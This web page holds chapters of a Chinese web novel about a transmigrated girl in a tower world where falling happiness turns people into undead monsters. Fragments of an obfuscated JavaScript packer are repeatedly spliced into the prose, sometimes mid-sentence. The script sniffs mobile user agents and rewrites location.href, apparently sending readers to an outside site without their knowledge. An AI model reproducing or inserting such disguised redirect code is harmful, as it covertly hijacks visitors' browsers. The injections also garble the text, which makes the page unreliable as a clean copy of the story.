渐渐的，他颜色变得越来越淡，最后从这个世界上消失不见。 很快，珠子立马碎裂。 那个人的幸福值停在了56上，他这次足足消耗了23点幸福值才完成超度。 很快，他手环的纹路也暗了下去，恢复正常。 冷霜的头发失去了目标，散落在地上，她大口喘着气，脸色惨白。 温刃站在那里，看着周正明消失的地方，脑子里一片空白。 那道解决了周正明的身影从烟尘中走出来。 他逆着光，看不清脸，但他很高，比林焕还高半个头。 他穿着一件深色的执法官制服，肩膀上别着一个温刃没见过的徽章。 他拿起通讯器，似乎在跟上级汇报着什么。 “C级丧诡已击毙，四名平民安全，二队冷霜平安。” 他随手把什么东西扔在地上。 温刃低头一看，那是最后一根钢筋，上面的血迹正在消散，像周正明一样，一点一点地变淡并消失。 那个烟雾中的男人转过身，看向温刃。 温刃终于看清了他的脸。 他很年轻，看起来二十五六岁出头。 他额前有一撮醒目的白发，左眼上有一道狰狞的伤疤，从眉骨划过眼皮，一直延伸到颧骨。 那只左眼闭着，长长的睫毛盖在眼皮上，遮住了底下的模样。 但他的右眼是睁着的，眼神似乎跟外貌的凶狠不太一样，反而一片温柔。 “小刃，”他说，“你没事吧？” 听着这个不妙的称呼，温刃意识到了对方的身份。 看来他就是那个三队队长，秦队长，只是不知道他的全名叫做什么，原主又称呼他为什么。 温刃很害怕，害怕自己喊错了对方的名字，被对方瞬间击毙。 毕竟，这个秦队长连周正明都能手撕，绝对不是一个简单人物。 好在这个时候，林焕打开了早就能打开的大门，三两步冲了进来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493134|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他站在温刃身边，对着秦队长挥了挥手：“川哥，我们伟大的秦朗川呦，你终于来了，我就说叫你过来是最合适的，其他人还不知道要墨迹多久，到时候我尸体都凉了。” “川哥，你不知道，刚刚吓死我了，我真感觉要死了，家里蹲差点变成坟里蹲，哎呦喂我的老腰……” “川哥，我没事。”温刃也跟着喊了一声，看来秦队长全名叫做秦朗川。 怪不得他能给原主跟林焕走后门，实力确实厉害，难道是控制金属？ 居然能一次性控制那么多钢筋，简直是钢筋王。 不过他后来在周正明的脑壳里挖出来个什么东西，又放在了手环上，难道这个过程就是所谓的超度吗？ 温刃很庆幸，还好林焕够傻，什么都给抖出来了，这家伙不适合当卧底。 秦朗川快步走了过来，将温刃上下打量一番，松了一口气：“没事就好。” 冷霜说道：“秦队长，这次情况危急，此处的空间疑似被莫名的力量封锁，跟以往丧诡的领域不太一样。” “平常，丧诡会制造自己的领域，但异能者努力一下，还是能打破领域冲进去救人。” “这次就连我都无法离开。” “周正明本身就具有异能，他的异能是吞噬，变成丧诡后保留了原有的特性，也就是说，他至少拥有两个异能。” “那个疑似封锁空间，让我们逃不出去的异能，或许是周正明成为丧诡后新获得的。” “若不是温刃及时告诉我这一切，恐怕我会在周正明面前送死，并且被他吞噬，成为他的一部分，加深他的力量。” “对了，秦队长，这次行动多亏有了温刃。” “她和传闻中的不太一样，她不是依靠你庇护的啃老族，她有自己的思想，这些线索都是她发现后告诉我的。” “她是这次事件的大功臣。” 传闻中，厉害的秦朗川队长养了两个孩子，也是他的弟弟妹妹。 那两个孩子完全是啃老族，也不上班，还要拉着原本能住在高层的秦朗川住在底层。 据说那俩孩子连饭都不做，每天等在家里，就为了等秦朗川回来吃一口饭。 有一次，秦朗川执行任务太久没回来，那个叫温刃的家里蹲差点被饿死，还好是林焕从隔壁撬门过来，做了一顿黑暗料理，把温刃救了回来。 那之后，据说林焕的手上就有了温刃家的钥匙，为了照顾她的。 现在看来，一切都是虚假的。 温刃细心又胆大，还是个觉醒了异能、疯狂拼命的孩子。 而且，说不定林焕那个家伙也跟传闻中不太一样。 林焕举手：“就是，面试的时候我还没有发现周正明有问题，是温刃跟我说，周正明两只手都插在兜里，却用第三只手开了门，当时我还以为他是用脚开门的。” 冷霜：…… 她收回那句话，林焕才是那个傻子。 冷霜想到什么：“对了，秦队长，你最好看看温刃，她第一次觉醒异能就滥用幸福值，刚才好像已经归零了。” 也就是说，如果温刃心情稍微有点低落，产生了负面情绪，她的幸福值就会变成负数，而她也会变成丧诡。 秦朗川皱眉，快步走到温刃身边，拉开她袖子。 温刃的幸福值已经变成了0。 “小刃，你知不知道，你现在很危险！” 8. 检查 秦朗川脸上的表情瞬间变得格外凝重。 他看向冷霜，语速很快说道：“冷霜，你来善后督查，档案先别交上去，对接等我回来再说。” 然后他转向温刃：“跟我走。” 温刃还没来得及反应，眼前的景象就扭曲了。 下一秒，她已经站在了别处，四周的场景直接变了一个样。 温刃：？ 她看出来了，这就是瞬间移动吗？ 林焕跳起来挥了挥手：“川哥！你是不是把我忘了啊！” 但秦朗川早就带着温刃跑没影了，根本听不到他说的话。 冷霜看着林焕，拍了拍他的肩膀：“别喊了，秦队长是让你留下，配合写报告，你一直跟温刃在一起，知道的肯定比我多。” 林焕点点头，也不再说些什么，只是往那两个小年轻的方向看了一眼：“那他俩呢？” 那两个小年轻还在发愣。 他们刚刚目睹的一切已经超出了理解范围。 那个新觉醒的温刃，为什么三队队长会亲自来接？ 居然连冷霜都认识她？ 说明，温刃可能是高层的某个大人物，甚至可能住在七十层以上，居然让这么多执法官亲自保护。 那个年轻男子脸色已经变了。 他这才意识到，自己刚才不该那么冲动的，早该说些好话的。 说不定这些执法官能给他走个后门，到时候进执法队后勤还不是手到擒来？ 可惜有些事没有回头路。 冷霜的声音很平淡：“他们跟你一样，写个笔录就可以走了。” 就在此时，走廊尽头传来了脚步声，似乎有很多人在向这边赶来。 几人往那个方向看去。 一群穿着黑西装的人乌压压走来，每个人都戴着同样山羊脸面具，像是机器人一样训练有素，一声不吭。 那年轻男女表情惊讶，急忙退到一边：“公司的人来了，他们看起来比执法官难相处多了。” 冷霜倒是很平静，只是往旁边让了让，给他们腾出空间。 * 小助理倒水的那个房间里。 两个戴山羊面具的员工站在门口，没有急着进去。 其中一个吸了吸鼻子：“你闻到了吗？” 另一个没说话，只是点了点头。 房间里有一股味道。 像是放了很久的什么东西腐烂之后的气味，准确来说，是尸臭味。 他们走进去，一个四处观察并拍照取样，另一个用电子设备语音记录着什么。 “四周一切正常，却有一种浓郁尸臭，目前没找到来源。” “发现一具被丧诡处理过的尸体，死亡时间不久，信息比对成功，她是45层招聘部前台，无父无母。” 一个人形的东西，瘪瘪地摊在地板上，那是小助理，也是招聘部前台，她只剩下了一张皮。 两个员工对视了一眼，没有说话。 其中一个蹲下身，把那张皮小心地收进袋子里。 另一个拿出仪器，在房间里继续扫描，这种仪器一般是用来探查隐藏空间的，为了防止丧诡躲在某个角落里。 这个员工走了一圈，发现仪器在房间的某个角落变得更响了。 他弯下腰，把耳朵凑近地面。 “这里，”他说道，“这个味道是从下面传上来的。” 另一个人走过来，从身上取出一把窄长的切割刀，直接撬开地砖。 地砖被掀开的瞬间，那股味道直接涌了上来，更是熏的人睁不开眼睛。 他们往下看去，这底下有个夹层，光线比周围要暗上不少，里面埋藏了不止一具尸体。 准确来说，这些尸体都只剩下了一张皮。 那些东西叠在一起，分不清是几张、十几张还是更多。 它们已经不再是完整的形状了，边缘发黑，皱缩着。 其中一个员工往后退了一步，手撑住了桌子。 桌面上，那只年轻男子喝过的茶杯还在，茶水只剩一半，表面安静。 没有人注意到，那水面上起了一圈极小的涟漪，像是有什么东西，从很深的水底正要浮上来。 没过多久，一根手指从茶水里伸出来，它苍白且病态，表面已经起了一圈尸斑。 但因为周围气味太过于浓烈的缘故，两个员工把注意力都放在了地板上，并没有发现它的存在。 它像是毛毛虫一样弯曲着，顺着茶杯边缘爬了出来，留下一小道水渍。 手指沿着桌腿往下爬，它贴着墙根移动，顺着墙壁往上，然后没入通风管道，彻底消失不见。 房间里，两个员工终于回过神来。 其中一个开口：“上报吧。” 另一个点了点头：“我来进行信息比对。” 茶杯里，水面已经恢复了平静，就连那根手指留下的水渍也在渐渐消失不见。 * 走廊里，那个年轻男子坐在椅子上，等着被叫去做笔录。 他忽然打了个寒战。 他说不清为什么，明明房间里不冷，高塔的特殊环境让内部温度一直保持在一个区间，按理说是不冷不热的。 他一紧张就觉得口渴，端起面前新倒的水，喝了一口。 清水入喉，他只觉得舌尖传来一股奇怪的味道。 像是腐肉，恶臭又黏腻。 他皱了皱眉，低头看向茶杯。 水面很平静，什么也没有。 “应该是错觉吧，看那个恶心的丧诡看多了，居然出现了后遗症。”他摇了摇头，把杯子放下了。 走廊尽头，通风管道的百叶窗叶片微微颤动了一下。 没有人注意到。 * 50层。 温刃回过神来后，发现自己已经躺在一张病床上。 这里似乎是医院。 她侧过头，看到墙上写着几个字。 好得快医院。 秦朗川就站在床边，他皱起眉头：“小刃。” “你知不知道……你知不知道这样很危险？” “一旦幸福值跌到零，你就再也回不来了。” “丧诡是什么东西，你也见过了，它们虽然有一部分还保留着人类思维，但本质上已经完全跟人类不同，它们变得嗜杀，变得痛苦又疯狂，你不会想变成那个样子的。” 温刃低下头。 秦朗川的语气，像极了她家人。 这种话像是家人之间的关心，他会急，会生气，但又不舍得真的骂你的那种。 她穿越这么久了。 不知道爸妈现在怎么样了，还有她的朋友们。 他们一定很担心吧，估计电话都被打爆了。 “我知道了。”温刃点点头，“下次不会了。” 秦朗川看了她一眼，叹了口气：“我跟你说过，哪怕觉醒了异能，也不能这么拼命，命是你自己的，要爱惜生命。” “而且，”他顿了顿，“我说过，我能养着你们两个，不需要你们去冒这种险，你们可以一辈子待在家里。” 温刃：？ 等等。 她眨了眨眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493135|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 养着他们两个？ 所以秦朗川一直把自己当什么男妈妈，他居然是自愿的？ 她还没来得及消化这个信息，秦朗川已经转身看向窗外了。 “算了，不说了，现在时间紧急，你的情况不能被耽搁。” “能让你恢复的药剂很稀有，只有执法官有权限用，我只能向上申请属于我的配额。” 他回头看了她一眼。 “下次别这样了。” 秦朗川离开这里，穿过走廊，拐了两个弯，来到一扇门前。 门上写着“执法队专区，非授权人员禁止入内”。 他站在门口，被扫描之后推门进去。 里面是个不大的房间，正对着门的墙上开了一个窗口，窗口后面站着一个立方体机器人。 它悬浮在半空中，大概一个西瓜那么大，银灰色的外壳上有两个圆溜溜的眼睛，正在骨碌碌地转。 为了防止医院出问题，所以这里的工作人员都是机器人，因为机器人才不会出现幸福值降低变成丧诡的情况。 所以，大部分服务行业和重要区域，驻守的人都更换成了机器人。 它看到秦朗川后，眼睛冒出红光：“扫描中……” “已检测到执法官身份。” “三队队长，秦朗川，欢迎您的到来。” “请问您需要什么服务？” 秦朗川走到窗口前：“申请调配我的幸福药剂，现在就要。” 立方体的眼睛转了一下。 “秦队长，药剂使用需要确认用途。” “请问药剂是给您自己使用，还是给他人使用？” “根据高塔法律，执法队专属的幸福药剂不能提供给非执法队成员使用，哪怕是亲属也不可以。” 秦朗川说道：“我自己用。” 立方体的眼睛又转了一下。 “正在确认中……” 立方体继续说道：“秦队长，系统检测到您的幸福值为51，处于正常范围，执法官只有幸福值低于50，处于危险作战状态时才能申请调配。” “您申请药剂的行为与您的健康数据不匹配，请重新确认药剂用途。” 立方体的眼睛定定地看着他。 “秦队长，根据《执法队资源管理条例》第七条，如果隐瞒药剂用途，为他人使用药剂，高塔有权利剥夺你的执法官身份。” 因为这次带人传送到医院，秦朗川的幸福值只剩下51了。 秦朗川沉默一阵，他抬手消耗幸福值，使用能力将立方体瞬移到了后方：“我说了，我自己用。” “我严重怀疑你的检测机制出了问题，你应该再检查一下我的幸福值。” 房间里安静了几秒。 立方体的眼睛慢慢转了一圈：“检测成功，您的幸福值只剩下49点，复合药剂使用要求。” “正在为您申请药剂调配。” 它身后的机器发出了一阵齿轮转动的声音，嘎啦嘎啦的。 “调配预计需要五分钟，请耐心等待。” 秦朗川没再说话，他靠在墙边，看着那个立方体，脸上这才露出一丝笑容。 * 病房里。 温刃躺在床上，盯着天花板。 “咚咚咚。” 就在此时，门外传来了一道敲门声。 温刃：“是谁？” “医生，”门外那个人说话语速很满，他吸了吸鼻子，似乎意识到了什么，拉起衣领，遮住脖子上一块黑色的斑驳，这才说道，“我来检查病人状态。” 9. 医生 病房里。 温刃也不知道秦朗川到底还有多久才回来，估计这个医生也是他安排来检查身体的。 她知道，自己不能表现出一点异常的举动，说不定这个医生就是秦朗川派来试探她异常的。 于是，温刃说：“进来吧。” 门被推开了。 进来的是一个男医生，他个子很高，戴着充满未来感的科技面罩，和特制手套，看起来像是某种做手术的医生。 而且，他的白大褂很新，但穿在他身上有点空荡荡的，像是大了一号。 温刃也不知道这些人究竟是什么样子，该是什么样的打扮，所以也不敢说些什么。 指不定这个世界的医生就是这么打扮的，如果她提出了疑问，反而才是有问题的那个。 那医生走到她身旁，个子很高，手上拿着一个记录册子：“患者……你叫什么名字？” “我叫温刃。”温刃说道。 医生点点头，在册子上写了一笔，他的手指有点肿，手套在他手上就跟紧身的一样。 “温小姐，”医生抬起头，“我有几个问题问你，希望你能如实回答。” 温刃心跳不由加快了几分。 果然，该来的还是来了。 这肯定是那种医院自己的满意度调查吧？绝对不能乱说话。 她以前在现实世界就吃过这种亏，第一次被人套话说了真实想法，结果被人传出去成了把柄。 “你问吧。”温刃争取少说一点字，毕竟说多了就容易犯错。 医生低头看了一眼册子，然后问道：“你在高塔里，幸福吗？” 温刃愣了一下，果然，这个问题足够刁钻，一来就问对高塔的满意度。 如果她说不幸福，那跟丧诡就没有的什么区别，很容易被人当成把柄。 如果说很幸福，万一被那些不幸的人知道了，以此抨击她就不好了。 “挺好的。”她说。 这种模棱两可的答案才是最完美的。 “你的幸福值已经跌到了零，”医生的眼睛还是盯着她，“是遭遇了什么不幸的事吗？请放心，我的身上没有任何监听设备，我们的对话是绝对保密的，你只需要告诉我，你的真实想法。” “你不需要为了恭维高塔，说出相反的答案来。” 温刃眨了眨眼，她差点忘记了这一茬，怪不得这个医生会问她这样的问题。 毕竟，幸福值为0实在是太过于危险了一些，下一步就会变成丧诡。 而且，这个医生很有可能是秦朗川派来的，他怎么可能不知道？这是在试探她吧？ “没有啊，”她笑着说，“我觉得挺好的，真的，这次只是一个意外，为人民奉献是我该做的事。” 医生继续问：“意外？可是，你也知道的，幸福值变成负数，可是会变成丧诡的，一旦成为那种东西，就再也无法变成人类了，你不恐惧吗？” 温刃当然恐惧，但是一想到死亡后遇到了那个漆黑庞然大物，她好像就没那么害怕了。 别人死了，或者变成丧诡了，那就是真的没有了回头路。 可她不一样，她还能回头，还能找那个怪物回档，只是这回头是站在刀尖上舔血的那种，一个不小心就容易把自己搭进去。 但总比没有要好。 “变成负数，那或许也是我使命的一部分，是我为人民奉献的结果，我不后悔，也不害怕，因为会有同道之人为我收尸，而他们也会义无反顾踏上这条路，继续守护其他人，这是传承，我的意志是永远不被磨灭的。”温刃为自己的完美回答点赞。 她考公复习多了，自然知道这种难缠的问题该怎么答。 医生盯着她看了许久，似乎是没想到她居然会这么说，良久后，他在册子上记了一笔。 “那么，下一个问题，”医生嗓音似乎比之前沙哑了不少，“你觉得高塔的层级分配制度合理吗？” “你认为有钱人分配更多的资源，却住在更舒适，更安全的高层，而普通人只能在底层勉强解决温饱，就连休息都变成了奢侈，停下来变成了懒惰，你觉得这样合理吗？” 这好像是两个问题。 不过这问题有点刁钻，涉及到了高塔世界的核心问题。 不过温刃知道这个，她刚穿越过来的时候就注意到了，越是高层，空间越大，装修也看起来越豪华，而底层对比高层，不仅拥挤，还很杂乱。 看来原主住在44层还算是个中产。 她想了想，说：“对于高塔的层级分配制度，我们应该辩证地看待，要做到真正的公平完善分配机制，拓宽上升渠道，让塔底群体享有更多发展红利，最终实现整个高塔的共建共治共享。” 医生：…… 他连这段话都没写上去，像是力竭了。 “最后一个问题，”医生沉默半天，终于开口，“你觉得……高塔会塌吗？” 温刃庆幸林焕说过这个问题的答案：“高塔目前整体稳固，但部分层级确实存在风险隐患，关键在于科学维护……” 医生举起手打断：“停停停，用简单的话回答，我想听你的见解和思想。” “高塔是世界上最坚固的建筑，”温刃说道，“它是人类科技最伟大的结晶，屹立了一千三百年，整整一千三百年，一千年都没塌，以后肯定也不会塌，一万年之后也不会塌。” 这个回答也挺完美的。 医生没有立刻说话，他只是盯着她，然后，他忽然偏了一下头，像是听到了什么声音，朝门口看了一眼。 “好的，”他说，语速突然快了起来，“调查到此结束，感谢你的回答。” 他合上册子，转身就走，走得很快，比来的时候快得多。 走到门口时，他停了一下，回头看了温刃一眼。 那个眼神让温刃说不上来是什么感觉，他像是认识她？又像是别的什么。 然后他拉开门，走了出去，房门也随之关上。 但他似乎走的很急，里衣居然被门夹下来一块。 一张仿生皮肤衣角飘落在地上，很快恢复成了原有的纤维材质。 温刃捡起那个碎片，想要打开门还给对方，但那个医生已经跑没影了？ 她盯着那扇门，觉得有点奇怪，但也没多想，这人大概就是来做个调查的吧。 她收起那衣服，感觉未来人的衣服还挺有趣，到时候可以拿来做研究。 不过这衣服质量也太差了吧。 过了没一会儿，门又被推开了。 这次是秦朗川过来了，他手里拿着一支蓝色的药剂，应该就是能提高幸福值的药剂。 “拿到了。”他走到床边，从床头柜上拿起一支注射器，动作熟练地把药剂吸进去。 “把手伸出来。” 秦朗川找到她的静脉，针尖刺进去，药剂很快就注射完毕。 温刃看到手环上的幸福值居然变成了20，不仅如此，之前心底里那种抑郁想死的情绪也瞬间消失不见。 她感觉现在活力满满，还能继续刷题来着。 “下次不要乱使用幸福值了。”秦朗川说。 “知道了。”温刃点点头。 秦朗川继续叨叨；“先回家吧，我跟上面请了假，先把你送回去，然后我去善后，统计报告递交档案，弄完了我就回来给你们做饭。” 温刃点点头，从床上下来，腿还有点软，但比之前好多了。 秦朗川带着她走出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493136|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病房，这次他们没有瞬移，而是坐着立方体电梯离开了这一层。 “对了，”在路上，温刃想起什么，“刚才有个医生来查房，问了我一些奇怪问题。” 秦朗川偏了一下头：“医生？” “嗯，问了我几个问题。”温刃说道。 秦朗川皱了皱眉：“我没有安排医生。” 温刃没想到医生居然不是队长的人：“可能是医院安排的？” “可能吧。”秦朗川说，语气不太确定，毕竟他这次是匆忙来的，可能有的医生以为温刃是个新来的病人吧。 温刃没再说什么。 平台继续下降，周围的灯光一层一层地掠过。 * 医院里。 那个询问过温刃的医生走出病房后，脚步一直没有慢下来。 他穿过走廊，拐过一个弯，经过护士站。 一个年轻护士抬起头，看了他一眼：“哎，医生你好，你是哪位医生呀？我怎么没有印象？” 医生停下来，他的动作有点僵，像是关节不太灵活。 “我姓方。”他说。 “哦，方医生，”护士恍然大悟，“就是新调来的那位吧？我听说了，一直没见过您本人呢，您这是查完房了？” 方医生点了点头。 “那您忙，我先去干活了。”护士笑了笑，低头继续写东西。 方医生站在原地看了她两秒，然后转身继续往前走。 他穿过一条又一条走廊，周围灯光越来越暗，人越来越少。 没过多久，他停在一扇门前。 停尸房。 他推开门，走了进去。 这里有许多存放遗体的柜子，但经过特殊处理，一点味道也没有挥发出来。 方医生站在房间里，慢慢摘下面具。 他面具下面的脸是灰白色的，嘴唇发紫，眼眶深陷，脸颊上有一块一块的青紫色斑痕，从耳后一直蔓延到下巴。 那些根本是尸斑。 他把白大褂的扣子解开，脱下来，随手扔在角落的垃圾桶里。 然后是手套，他手套下面的手指是青灰色的，有些发肿，指甲几乎变成了黑色。 他低头看了看自己的手，然后继续。 终于，里面的内衬也被脱掉了，他身上只剩下了一件衣服。 那是一件寿衣，款式阴暗又瘆人，但带有些未来感，仿生皮肤贴身包裹在身上，防止味道散出。 只是，那件衣服缺了一角，他没有注意到衣服的问题。 寿衣下面，他的身体上布满了密密麻麻的尸斑，一片连着一片，像是从身体内部慢慢洇出来的。 他走到最里面的一排冷柜前，拉开了其中一扇门。 冷柜里是空的，里面并没有任何东西，里面的尸体消失不见了。 他慢慢地躺了进去，伸出手，从里面把门拉上。 灯光有些昏暗，但也能看到，他刚才躺过的冷柜上，有着一个电子屏幕，上面显示着尸体原本的面貌。 那张脸跟他没长尸斑的样子，一模一样。 屏幕下方有一行小字。 姓名：曾豪 入柜日期：三天前 状态：待焚化 灯光闪了一下。 走廊里，护士还在低头写着什么。 她忽然抬起头，往停尸房的方向看了一眼。 “刚才那个方医生，”她自言自语，“我们科有这个人吗？” 她想了想，没想起来了，又低下头继续写。 停尸房里。 那扇冷柜的电子屏幕还亮着。 照片里的人，嘴角似乎比刚才弯了一点。 像是在笑。 10. 再变异 秦朗川把温刃送到家门口，站在门口没进去。 “小刃，好好待在家里，”他吩咐道，“我先去进行收尾，林焕说他已经帮你写了报告，所以也不用你再跑一趟了。” 温刃松了一口气。 那就好，要是真让她写报告，她还不知道格式怎么写，到时候直接暴露她换了个魂魄就完蛋了。 林焕又一次神级救场。 秦朗川转身沿着原路返回，脚步声很快消失在走廊尽头。 温刃推开房门走进去，屋子里安安静静的，只有她一个人。 Zero的尸体自从被吃掉之后，就一点痕迹都没有留下。 她把整个屋子探索了一遍。 这里的构造是一室一厅，一厨一卫，虽然不大，但收拾得很干净，看起来像是经常打扫的样子。 温刃觉得这比她之前租的房子质量要好太多了，至少没有墙皮往下掉，也不知道这个世界的墙壁究竟用什么建造的。 她在沙发上坐了一会儿，也不知道该干什么。 没过多久，门口响起了敲门声。 “温刃！”是林焕的声音。 温刃这次没有犹豫，走过去把门打开了。 林焕站在门口，一脸劫后余生的表情：“哎呦，惊险得很啊，温刃，你是不知道，填那个资料真的要填很多很多，密密麻麻的，我嘴巴都说麻了。” 温刃顺势问了一句：“我能看一下你填的资料吗？” “行啊，”林焕爽快地答应了，“我发给你。” 温刃的通讯器震了一下，她点开一看，是一个电子文档。 她翻了几页，越看越觉得离谱。 这玩意儿比她当年做过的行测题还要严谨，什么“事件发生时间精确到秒”“涉事人员心理状态评估”…… 这要是让她自己填，估计填到明天早上都填不完。 “写得真好，”温刃由衷地说，“谢谢你啊。” “小事儿，”林焕摆了摆手，摸了摸肚子，“哎呀，我都有点饿了，话说回来，也不知道队长什么时候回来哦……要不，我去做饭？” 温刃心里咯噔一下，她该怎么回答，林焕这个家里蹲真的会做饭吗？ 但林焕很快就自己摆了摆手：“算了算了，不做了，上次我做的那个黑暗料理，你都饿得硬生生吃下去了，看得我害怕啊，我当时后来尝了一口，那简直不是人吃的。” “咱们还是等队长回来做饭吧，他做的饭还是好吃。” 温刃暗暗松了一口气。 看来以后不用回答这个林焕的问题了，他自己就会回答的，要不然很容易暴露。 两个人在沙发上坐着闲聊了一会儿，气氛倒是挺轻松的。 没过多久，门开了。 秦朗川提着两大袋子东西走进来，里面装着各种食材，看起来都很新鲜。 他一眼就看到了坐在沙发上的温刃和林焕，微微皱了一下眉。 温刃疑惑，到底怎么了？ 难道她又在什么事情上面暴露了自己的身份吗？ 最后，秦朗川的目光落在林焕身上：“你穿着外裤，是不许坐在我的床上的，你知道吗？” 林焕立马弹起来：“哎呀，我忘了垫毯子了，我这就垫个毯子。” 温刃坐在沙发上，也不知道自己该怎么办，话说她也是穿着外裤坐着的啊。 林焕显然也想到了这一点，嚷嚷起来：“哎呀哎呀，还是你对温刃好，她就不用垫个毯子。” 秦朗川头也没抬：“她可不会像你一样，拿着屁股到处在地上乱蹭。” 温刃看了一眼林焕站起来的那个位置，沙发垫上赫然一坨灰。 好吧，他确实不太爱干净。 林焕挠了挠头，讪讪地笑了。 温刃本来觉得这事就这么过去了，但她忽然注意到一个细节。 秦朗川说的是“我的床上”。 可是，她明明坐的是沙发啊。 温刃不可置信低头，看向底下的沙发。 我的天呐。 难道说这个队长是睡在沙发上的？ 这么厉害的一个队长，居然睡沙发？ 感情原主跟林焕的性格，完全是秦朗川惯出来的。 林焕显然也注意到了温刃的表情，凑过去跟秦朗川说：“队长啊，说真的，你都这么有钱了，你还从上层搬下来了，你就不能买个床，把这个沙发给它换掉？” 秦朗川没理他，自顾自地把食材往厨房拎。 温刃犹豫了一下，还是开了口：“要不队长你还是试试买个床？这样睡着更舒服点。” 秦朗川的脚步顿了一下，回头看了她一眼。 “好，”他说，“我到时候考虑一下，有时间再说。” 林焕凑过去：“队长啊，你为什么不理我？” 秦朗川看了他一眼：“赶紧去洗菜，我一会要切菜。” 然后他走到温刃面前，指了指沙发对面的墙：“你看会电视，一会菜做好了叫你吃饭。” 林焕跟在后面嘟囔：“好吧好吧，反正我也是来蹭饭的，哎呀，我就来做点好事吧。” 他跟着秦朗川进了厨房，没一会儿就传来哗啦啦的水声。 温刃坐在沙发上，看向那台电视。 电视是嵌在墙里的，黑色的屏幕，边缘很薄，看起来很高级。 但她找了半天，也没找到，怎么该开电视，这玩意儿没有按键，没有遥控器，什么都没有。 她只能盯着那块黑屏发愣，反正这样也是在看电视。 厨房里传来林焕的声音：“队长，围裙在哪儿？” “柜子里。”秦朗川说。 “哪个柜子？”林焕又问。 “第三个，算了，我来拿吧。”秦朗川道。 趁着秦朗川去拿围裙的空档，林焕从厨房探出头来，看见温刃还对着黑屏发呆，压低声音说了一句：“开启电视。” “好的，已开启。”电视屏幕亮了起来，自动跳到了一个频道。 温刃：…… 原来电视是这么开的吗？ 林焕缩回去继续洗菜了。 电视里正在播新闻。 “今日凌晨，位于第45层的招聘部门发生了一起案件，据悉，现场诞生了一只丧诡……” 温刃盯着屏幕，画面里是入口，拉着警戒线，几个穿着白色制服的人在来回走动。 而且他们每个人脸上都带着诡异的山羊面具，估计也是这里的某个官方部门。 “目前事件已得到彻底解决，请市民放心。” “相关部门提醒，如发现异常情况，请及时上报。” 画面一转，开始播广告。 “24小时便利店招聘店员，待遇从优，无需经验，提供岗前培训……” 温刃看了一会儿，觉得这个广告好像也没什么特别的。 广告播完之后，电视剧开始了。 屏幕上一男一女面对面站着，背景是某个看起来很高级的餐厅。 “我爱你。”男人说。 “我也爱你。”女人说。 温刃面无表情地看着，觉得这台词写得还不如她随便编的。 “换台。”她试着说了一句。 屏幕一闪，跳到了另一个频道。 果然，这玩意还是声控的。 这次是科普频道。 画面里是一个实验室，穿着白大褂的人站在操作台前，身后的大屏幕上显示着一个人体模型，眉心处标着一个红点。 “经过长期研究发现，丧诡的核心位于它们的眉心位置。” 解说员很耐心地讲解。 “这是一个非常特殊的位置。” “无论丧诡变成什么形态，只要它们拥有头颅，核心就一定在这个位置。” “遇到比较特殊的、无法拥有人形的形态，就需要想办法剖开它们的身体，但核心一定位于它们解剖结构上的眉心处。” 画面切换，屏幕上出现了一颗红色的不规则形状晶体。 “目前的研究尚未表明，丧诡为什么会长出这个核心。” “但可以确定的是，这是它们与人类最本质的区别。” “只要挖出这个核心，并且放到异能者的手环上，手环就会输出幸福值，并进行超度。” “那时候，丧诡就会彻底消失，再也不会出现。” 画面里，一只手拿起那颗晶体，放到一个手环上。 晶体闪了闪，然后碎成了粉末。 “创世安防牌手环，呵护你我的健康。” “感谢创世安防，让人类拥有了杀死丧诡的机会。” 解说员念完广告，话音一转。 “但是，如果是普通人的话，哪怕挖出核心，也没有注入幸福值的能力。” “所以，无论普通人怎么对丧诡出手，只要它们的核心没有被摧毁，它们就会源源不断地复生。” 画面切回演播室，主持人对着镜头微笑。 “所以，请大家一定要爱戴异能者哦。” 温刃盯着屏幕，摸了摸自己手腕上的手环，原来这东西还能这么用。 制作出这玩意的公司确实厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493137|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害。 她还想再看一会儿，厨房里传来秦朗川的声音：“温刃，吃饭了。” 温刃关掉电视，走到餐桌前。 桌上摆着三菜一汤，热气腾腾的。 